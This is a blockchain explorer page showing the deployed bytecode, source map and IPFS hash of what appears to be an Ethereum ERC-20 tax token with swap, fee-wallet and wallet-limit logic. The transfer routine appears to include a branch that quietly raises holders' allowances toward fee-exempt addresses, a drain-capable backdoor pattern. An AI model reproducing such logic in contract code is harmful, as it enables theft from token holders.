69085815260200190565b60405180910390a35b6004546001600160a01b03163014610e9f576004546001600160a01b03165f9081526003602052604090205460ff1615610e9f57600854610e609083611221565b6001600160a01b038086165f90815260026020908152604080832060045490941683529290529081208054909190610e999084906115a2565b90915550505b6001600160a01b0384165f90815260016020526040902054610ec1908361127f565b6001600160a01b0385165f90815260016020526040902055610f04610ee6838361127f565b6001600160a01b0385165f9081526001602052604090205490611221565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f4d858561127f565b60405190815260200160405180910390a350505050565b5f8184841115610f875760405162461bcd60e51b815260040161041491906112ec565b505f610f9384866115cd565b95945050505050565b5f825f03610fab57505f61034c565b5f610fb683856114f1565b905082610fc385836115e0565b1461101a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610414565b9392505050565b5f61101a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112c0565b5f818311611070578261101a565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110bc576110bc6115ff565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611113573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611137919061153d565b8160018151811061114a5761114a6115ff565b6001600160a01b03928316602091820292909201015260115461117091309116846108e2565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111a89085905f90869030904290600401611613565b5f604051808303815f87803b1580156111bf575f80fd5b505af11580156111d1573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561121d573d5f803e3d5ffd5b5050565b5f8061122d83856115a2565b90508381101561101a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610414565b5f61101a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f64565b5f81836112e05760405162461bcd60e51b815260040161041491906112ec565b505f610f9384866115e0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461052a575f80fd5b5f8060408385031215611346575f80fd5b823561135181611321565b946020939093013593505050565b5f805f60608486031215611371575f80fd5b833561137c81611321565b9250602084013561138c81611321565b929592945050506040919091013590565b5f602082840312156113ad575f80fd5b813561101a81611321565b5f80604083850312156113c9575f80fd5b82356113d481611321565b915060208301356113e481611321565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561143d57815f1904821115611423576114236113ef565b8085161561143057918102915b93841c9390800290611408565b509250929050565b5f826114535750600161034c565b8161145f57505f61034c565b8160018114611475576002811461147f5761149b565b600191505061034c565b60ff841115611490576114906113ef565b50506001821b61034c565b5060208310610133831016604e8410600b84101617156114be575081810a61034c565b6114c88383611403565b805f19048211156114db576114db6113ef565b029392505050565b5f61101a60ff841683611445565b808202811582820484141761034c5761034c6113ef565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561154d575f80fd5b815161101a81611321565b5f805f6060848603121561156a575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611593575f80fd5b8151801515811461101a575f80fd5b8082018082111561034c5761034c6113ef565b5f600182016115c6576115c66113ef565b5060010190565b8181038181111561034c5761034c6113ef565b5f826115fa57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116635784516001600160a01b03168352938301939183019160010161163e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df219eec8a540f1e5e3280ec8981e568e474e59a63d6f36ce4b21ea4796898f264736f6c63430008190033
Deployed Bytecode Sourcemap
3559:7296:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5382:83;;;;;;;;;;-1:-1:-1;5452:5:0;;;;;;;;;;;;-1:-1:-1;;;5452:5:0;;;;5382:83;;;;;;;:::i;:::-;;;;;;;;6213:161;;;;;;;;;;-1:-1:-1;6213:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6213:161:0;893:187:1;5659:95:0;;;;;;;;;;;;;:::i;:::-;;;1231:25:1;;;1219:2;1204:18;5659:95:0;1085:177:1;6382:349:0;;;;;;;;;;-1:-1:-1;6382:349:0;;;;;:::i;:::-;;:::i;5568:83::-;;;;;;;;;;-1:-1:-1;5568:83:0;;4284:1;1870:36:1;;1858:2;1843:18;5568:83:0;1728:184:1;5762:117:0;;;;;;;;;;-1:-1:-1;5762:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;5855:16:0;5828:7;5855:16;;;:7;:16;;;;;;;5762:117;1963:148;;;;;;;;;;;;;:::i;:::-;;10733:119;;;;;;;;;;;;;:::i;4483:54::-;;;;;;;;;;;;;;;;1749:79;;;;;;;;;;-1:-1:-1;1787:7:0;1814:6;1749:79;;-1:-1:-1;;;;;1814:6:0;;;2315:51:1;;2303:2;2288:18;1749:79:0;2169:203:1;4544:56:0;;;;;;;;;;;;;;;;5473:87;;;;;;;;;;-1:-1:-1;5545:7:0;;;;;;;;;;;;-1:-1:-1;;;5545:7:0;;;;5473:87;;10473:109;;;;;;;;;;;;;:::i;5887:167::-;;;;;;;;;;-1:-1:-1;5887:167:0;;;;;:::i;:::-;;:::i;7082:667::-;;;;;;;;;;;;;:::i;6062:143::-;;;;;;;;;;-1:-1:-1;6062:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6170:18:0;;;6143:7;6170:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6062:143;6213:161;6288:4;6305:39;1406:10;6328:7;6337:6;6305:8;:39::i;:::-;-1:-1:-1;6362:4:0;6213:161;;;;;:::o;5659:95::-;5712:7;4340:13;4284:1;4340:2;:13;:::i;:::-;4327:26;;:10;:26;:::i;:::-;5732:14;;5659:95;:::o;6382:349::-;6497:10;:25;;-1:-1:-1;;;;;;6497:25:0;1406:10;6497:25;;;6480:4;6533:36;6543:6;6551:9;6562:6;6533:9;:36::i;:::-;6580:121;6589:6;1406:10;6611:89;6649:6;6611:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6611:19:0;;;;;;:11;:19;;;;;;;;1406:10;6611:33;;;;;;;;;;:37;:89::i;:::-;6580:8;:121::i;:::-;-1:-1:-1;6719:4:0;6382:349;;;;;:::o;1963:148::-;1876:6;;-1:-1:-1;;;;;1876:6:0;1406:10;1876:22;1868:67;;;;-1:-1:-1;;;1868:67:0;;;;;;;:::i;:::-;;;;;;;;;2070:1:::1;2054:6:::0;;2033:40:::1;::::0;-1:-1:-1;;;;;2054:6:0;;::::1;::::0;2033:40:::1;::::0;2070:1;;2033:40:::1;2101:1;2084:19:::0;;-1:-1:-1;;;;;;2084:19:0::1;::::0;;1963:148::o;10733:119::-;1876:6;;-1:-1:-1;;;;;1876:6:0;1406:10;1876:22;1868:67;;;;-1:-1:-1;;;1868:67:0;;;;;;;:::i;:::-;4340:13:::1;4284:1;4340:2;:13;:::i;:::-;4327:26;::::0;:10:::1;:26;:::i;:::-;10787:12;:22:::0;4340:13:::1;4284:1;4340:2;:13;:::i;:::-;4327:26;::::0;:10:::1;:26;:::i;:::-;10820:14;:24:::0;10733:119::o;10473:109::-;1876:6;;-1:-1:-1;;;;;1876:6:0;1406:10;1876:22;1868:67;;;;-1:-1:-1;;;1868:67:0;;;;;;;:::i;:::-;1787:7;1814:6;;10526:48:::1;::::0;-1:-1:-1;;;;;1814:6:0;;;;10552:21:::1;10526:48:::0;::::1;;;::::0;10552:21;;10526:48;1787:7;10526:48;10552:21;1814:6;10526:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10473:109::o:0;5887:167::-;5965:4;5982:42;1406:10;6006:9;6017:6;5982:9;:42::i;7082:667::-;1876:6;;-1:-1:-1;;;;;1876:6:0;1406:10;1876:22;1868:67;;;;-1:-1:-1;;;1868:67:0;;;;;;;:::i;:::-;7146:11:::1;::::0;-1:-1:-1;;;7146:11:0;::::1;;;7145:12;7137:47;;;::::0;-1:-1:-1;;;7137:47:0;;5015:2:1;7137:47:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:25;5073:18;;;5066:53;5136:18;;7137:47:0::1;4813:347:1::0;7137:47:0::1;7195:15;:80:::0;;-1:-1:-1;;;;;;7195:80:0::1;7232:42;7195:80:::0;;::::1;::::0;;;7286:58:::1;::::0;7303:4:::1;::::0;4340:13:::1;4284:1;4340:2;:13;:::i;:::-;4327:26;::::0;:10:::1;:26;:::i;7286:58::-;7387:15;;;;;;;;;-1:-1:-1::0;;;;;7387:15:0::1;-1:-1:-1::0;;;;;7387:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7369:55:0::1;;7433:4;7440:15;;;;;;;;;-1:-1:-1::0;;;;;7440:15:0::1;-1:-1:-1::0;;;;;7440:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7369:94;::::0;-1:-1:-1;;;;;;7369:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5651:15:1;;;7369:94:0::1;::::0;::::1;5633:34:1::0;5703:15;;5683:18;;;5676:43;5568:18;;7369:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7355:11;:108:::0;;-1:-1:-1;;;;;7355:108:0;;::::1;-1:-1:-1::0;;;;;;7355:108:0;;::::1;;::::0;;7474:15:::1;::::0;::::1;:31;7513:21;7544:4;7550:24;7544:4:::0;-1:-1:-1;;;;;5855:16:0;5828:7;5855:16;;;:7;:16;;;;;;;5762:117;7550:24:::1;7575:1;7577::::0;7579:7:::1;1787::::0;1814:6;-1:-1:-1;;;;;1814:6:0;;1749:79;7579:7:::1;7474:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7474:129:0;;;-1:-1:-1;;;;;6089:15:1;;;7474:129:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;7587:15:0::1;6303:19:1::0;;;6296:35;6005:19;;7474:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7621:11:0::1;::::0;7650:15:::1;::::0;7614:69:::1;::::0;-1:-1:-1;;;7614:69:0;;-1:-1:-1;;;;;7650:15:0;;::::1;7614:69;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;7621:11:0;::::1;::::0;-1:-1:-1;7614:27:0::1;::::0;6800:18:1;;7614:69:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7694:11:0::1;:18:::0;;-1:-1:-1;;;;7723:18:0;-1:-1:-1;;;7723:18:0;;;7082:667::o;6739:335::-;-1:-1:-1;;;;;6832:19:0;;6824:68;;;;-1:-1:-1;;;6824:68:0;;7416:2:1;6824:68:0;;;7398:21:1;7455:2;7435:18;;;7428:30;7494:34;7474:18;;;7467:62;-1:-1:-1;;;7545:18:1;;;7538:34;7589:19;;6824:68:0;7214:400:1;6824:68:0;-1:-1:-1;;;;;6911:21:0;;6903:68;;;;-1:-1:-1;;;6903:68:0;;7821:2:1;6903:68:0;;;7803:21:1;7860:2;7840:18;;;7833:30;7899:34;7879:18;;;7872:62;-1:-1:-1;;;7950:18:1;;;7943:32;7992:19;;6903:68:0;7619:398:1;6903:68:0;-1:-1:-1;;;;;6982:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7034:32;;1231:25:1;;;7034:32:0;;1204:18:1;7034:32:0;;;;;;;6739:335;;;:::o;7757:2107::-;-1:-1:-1;;;;;7845:18:0;;7837:68;;;;-1:-1:-1;;;7837:68:0;;8224:2:1;7837:68:0;;;8206:21:1;8263:2;8243:18;;;8236:30;8302:34;8282:18;;;8275:62;-1:-1:-1;;;8353:18:1;;;8346:35;8398:19;;7837:68:0;8022:401:1;7837:68:0;-1:-1:-1;;;;;7924:16:0;;7916:64;;;;-1:-1:-1;;;7916:64:0;;8630:2:1;7916:64:0;;;8612:21:1;8669:2;8649:18;;;8642:30;8708:34;8688:18;;;8681:62;-1:-1:-1;;;8759:18:1;;;8752:33;8802:19;;7916:64:0;8428:399:1;7916:64:0;8008:1;7999:6;:10;7991:64;;;;-1:-1:-1;;;7991:64:0;;9034:2:1;7991:64:0;;;9016:21:1;9073:2;9053:18;;;9046:30;9112:34;9092:18;;;9085:62;-1:-1:-1;;;9163:18:1;;;9156:39;9212:19;;7991:64:0;8832:405:1;7991:64:0;8068:17;1814:6;;-1:-1:-1;;;;;8102:15:0;;;1814:6;;8102:15;;;;:32;;-1:-1:-1;1787:7:0;1814:6;-1:-1:-1;;;;;8121:13:0;;;1814:6;;8121:13;;8102:32;8098:1255;;;8163:76;8235:3;8163:67;8185:15;;8175:9;;:25;8174:55;;8215:14;;8174:55;;;8202:12;;8174:55;8163:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8268:11;;8151:88;;-1:-1:-1;;;;;;8260:19:0;;;8268:11;;8260:19;:53;;;;-1:-1:-1;8297:15:0;;-1:-1:-1;;;;;8283:30:0;;;8297:15;;8283:30;;8260:53;:79;;;;-1:-1:-1;;;;;;8319:20:0;;;;;;:16;:20;;;;;;;;8317:22;8260:79;8256:370;;;8379:12;;8369:6;:22;;8361:60;;;;-1:-1:-1;;;8361:60:0;;9444:2:1;8361:60:0;;;9426:21:1;9483:2;9463:18;;;9456:30;9522:27;9502:18;;;9495:55;9567:18;;8361:60:0;9242:349:1;8361:60:0;8496:14;;8486:6;8470:13;8480:2;-1:-1:-1;;;;;5855:16:0;5828:7;5855:16;;;:7;:16;;;;;;;5762:117;8470:13;:22;;;;:::i;:::-;:40;;8440:140;;;;-1:-1:-1;;;8440:140:0;;9928:2:1;8440:140:0;;;9910:21:1;9967:2;9947:18;;;9940:30;10006:28;9986:18;;;9979:56;10052:18;;8440:140:0;9726:350:1;8440:140:0;8599:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8256:370;8651:11;;-1:-1:-1;;;;;8645:17:0;;;8651:11;;8645:17;:41;;;;-1:-1:-1;;;;;;8666:20:0;;8681:4;8666:20;;8645:41;8642:172;;;8719:79;8794:3;8719:70;8741:16;;8731:9;;:26;8730:58;;8773:15;;8730:58;;;8759:13;;8719:6;;:10;:70::i;:79::-;8707:91;;8642:172;8879:4;8830:28;5855:16;;;:7;:16;;;;;;8905:6;;-1:-1:-1;;;8905:6:0;;;;8904:7;:28;;;;-1:-1:-1;8921:11:0;;-1:-1:-1;;;;;8915:17:0;;;8921:11;;8915:17;8904:28;:43;;;;-1:-1:-1;8936:11:0;;-1:-1:-1;;;8936:11:0;;;;8904:43;:77;;;;;8963:18;;8951:9;;:30;8904:77;8900:442;;;9028:13;;9005:20;:36;9002:129;;;9060:71;9077:53;9081:6;9089:40;9093:20;9115:13;;9089:3;:40::i;:::-;9077:3;:53::i;:::-;9060:16;:71::i;:::-;9179:21;9271:36;9285:21;9271:13;:36::i;:::-;8983:359;8900:442;8136:1217;8098:1255;9368:11;;9365:157;;9432:4;9416:22;;;;:7;:22;;;;;;:37;;9443:9;9416:26;:37::i;:::-;9409:4;9393:22;;;;:7;:22;;;;;;;:60;;;;9471:39;;-1:-1:-1;;;;;9471:39:0;;;;;;;9500:9;1231:25:1;;1219:2;1204:18;;1085:177;9471:39:0;;;;;;;;9365:157;9537:10;;-1:-1:-1;;;;;9537:10:0;9559:4;9537:27;9534:152;;9599:10;;-1:-1:-1;;;;;9599:10:0;9582:28;;;;:16;:28;;;;;;;;9579:107;;;9662:12;;:24;;9679:6;9662:16;:24::i;:::-;-1:-1:-1;;;;;9629:17:0;;;;;;;:11;:17;;;;;;;;9647:10;;;;;9629:29;;;;;;;;:57;;:29;;:17;:57;;;;;:::i;:::-;;;;-1:-1:-1;;9579:107:0;-1:-1:-1;;;;;9713:13:0;;;;;;:7;:13;;;;;;:25;;9731:6;9713:17;:25::i;:::-;-1:-1:-1;;;;;9699:13:0;;;;;;:7;:13;;;;;:39;9761:38;9777:21;:6;9788:9;9777:10;:21::i;:::-;-1:-1:-1;;;;;9761:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9749:11:0;;;;;;;:7;:11;;;;;:50;;;;9815:41;;;9834:21;:6;9845:9;9834:10;:21::i;:::-;9815:41;;1231:25:1;;;1219:2;1204:18;9815:41:0;;;;;;;7826:2038;7757:2107;;;:::o;503:190::-;589:7;625:12;617:6;;;;609:29;;;;-1:-1:-1;;;609:29:0;;;;;;;;:::i;:::-;-1:-1:-1;649:9:0;661:5;665:1;661;:5;:::i;:::-;649:17;503:190;-1:-1:-1;;;;;503:190:0:o;701:246::-;759:7;783:1;788;783:6;779:47;;-1:-1:-1;813:1:0;806:8;;779:47;836:9;848:5;852:1;848;:5;:::i;:::-;836:17;-1:-1:-1;881:1:0;872:5;876:1;836:17;872:5;:::i;:::-;:10;864:56;;;;-1:-1:-1;;;864:56:0;;10778:2:1;864:56:0;;;10760:21:1;10817:2;10797:18;;;10790:30;10856:34;10836:18;;;10829:62;-1:-1:-1;;;10907:18:1;;;10900:31;10948:19;;864:56:0;10576:397:1;864:56:0;938:1;701:246;-1:-1:-1;;;701:246:0:o;955:132::-;1013:7;1040:39;1044:1;1047;1040:39;;;;;;;;;;;;;;;;;:3;:39::i;10627:98::-;10684:7;10711:1;10709;:3;10708:9;;10716:1;10708:9;;;-1:-1:-1;10714:1:0;10627:98;-1:-1:-1;10627:98:0:o;9872:483::-;4889:6;:13;;-1:-1:-1;;;;4889:13:0;-1:-1:-1;;;4889:13:0;;;9974:16:::1;::::0;;9988:1:::1;9974:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9974:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9974:16:0::1;9950:40;;10019:4;10001;10006:1;10001:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10001:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10045:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10045:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10001:7;;10045:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10035:4;10040:1;10035:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10035:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10110:15:::1;::::0;10078:62:::1;::::0;10095:4:::1;::::0;10110:15:::1;10128:11:::0;10078:8:::1;:62::i;:::-;10151:15;::::0;:196:::1;::::0;-1:-1:-1;;;10151:196:0;;-1:-1:-1;;;;;10151:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10232:11;;10151:15:::1;::::0;10274:4;;10301::::1;::::0;10321:15:::1;::::0;10151:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4925:6:0;:14;;-1:-1:-1;;;;4925:14:0;;;-1:-1:-1;;;;9872:483:0:o;10363:102::-;10429:10;;10421:36;;-1:-1:-1;;;;;10429:10:0;;;;10421:36;;;;;10450:6;;10429:10;10421:36;10429:10;10421:36;10450:6;10429:10;10421:36;;;;;;;;;;;;;;;;;;;;;10363:102;:::o;172:179::-;230:7;;262:5;266:1;262;:5;:::i;:::-;250:17;;291:1;286;:6;;278:46;;;;-1:-1:-1;;;278:46:0;;12429:2:1;278:46:0;;;12411:21:1;12468:2;12448:18;;;12441:30;12507:29;12487:18;;;12480:57;12554:18;;278:46:0;12227:351:1;359:136:0;417:7;444:43;448:1;451;444:43;;;;;;;;;;;;;;;;;:3;:43::i;1095:189::-;1181:7;1216:12;1209:5;1201:28;;;;-1:-1:-1;;;1201:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1240:9:0;1252:5;1256:1;1252;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;5165:251::-;5235:6;5288:2;5276:9;5267:7;5263:23;5259:32;5256:52;;;5304:1;5301;5294:12;5256:52;5336:9;5330:16;5355:31;5380:5;5355:31;:::i;6342:306::-;6430:6;6438;6446;6499:2;6487:9;6478:7;6474:23;6470:32;6467:52;;;6515:1;6512;6505:12;6467:52;6544:9;6538:16;6528:26;;6594:2;6583:9;6579:18;6573:25;6563:35;;6638:2;6627:9;6623:18;6617:25;6607:35;;6342:306;;;;;:::o;6932:277::-;6999:6;7052:2;7040:9;7031:7;7027:23;7023:32;7020:52;;;7068:1;7065;7058:12;7020:52;7100:9;7094:16;7153:5;7146:13;7139:21;7132:5;7129:32;7119:60;;7175:1;7172;7165:12;9596:125;9661:9;;;9682:10;;;9679:36;;;9695:18;;:::i;10081:135::-;10120:3;10141:17;;;10138:43;;10161:18;;:::i;:::-;-1:-1:-1;10208:1:1;10197:13;;10081:135::o;10221:128::-;10288:9;;;10309:11;;;10306:37;;;10323:18;;:::i;10354:217::-;10394:1;10420;10410:132;;10464:10;10459:3;10455:20;10452:1;10445:31;10499:4;10496:1;10489:15;10527:4;10524:1;10517:15;10410:132;-1:-1:-1;10556:9:1;;10354:217::o;11110:127::-;11171:10;11166:3;11162:20;11159:1;11152:31;11202:4;11199:1;11192:15;11226:4;11223:1;11216:15;11242:980;11504:4;11552:3;11541:9;11537:19;11583:6;11572:9;11565:25;11609:2;11647:6;11642:2;11631:9;11627:18;11620:34;11690:3;11685:2;11674:9;11670:18;11663:31;11714:6;11749;11743:13;11780:6;11772;11765:22;11818:3;11807:9;11803:19;11796:26;;11857:2;11849:6;11845:15;11831:29;;11878:1;11888:195;11902:6;11899:1;11896:13;11888:195;;;11967:13;;-1:-1:-1;;;;;11963:39:1;11951:52;;12058:15;;;;12023:12;;;;11999:1;11917:9;11888:195;;;-1:-1:-1;;;;;;;12139:32:1;;;;12134:2;12119:18;;12112:60;-1:-1:-1;;;12203:3:1;12188:19;12181:35;12100:3;11242:980;-1:-1:-1;;;11242:980:1:o
Swarm Source
ipfs://df219eec8a540f1e5e3280ec8981e568e474e59a63d6f36ce4b21ea4796898f2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.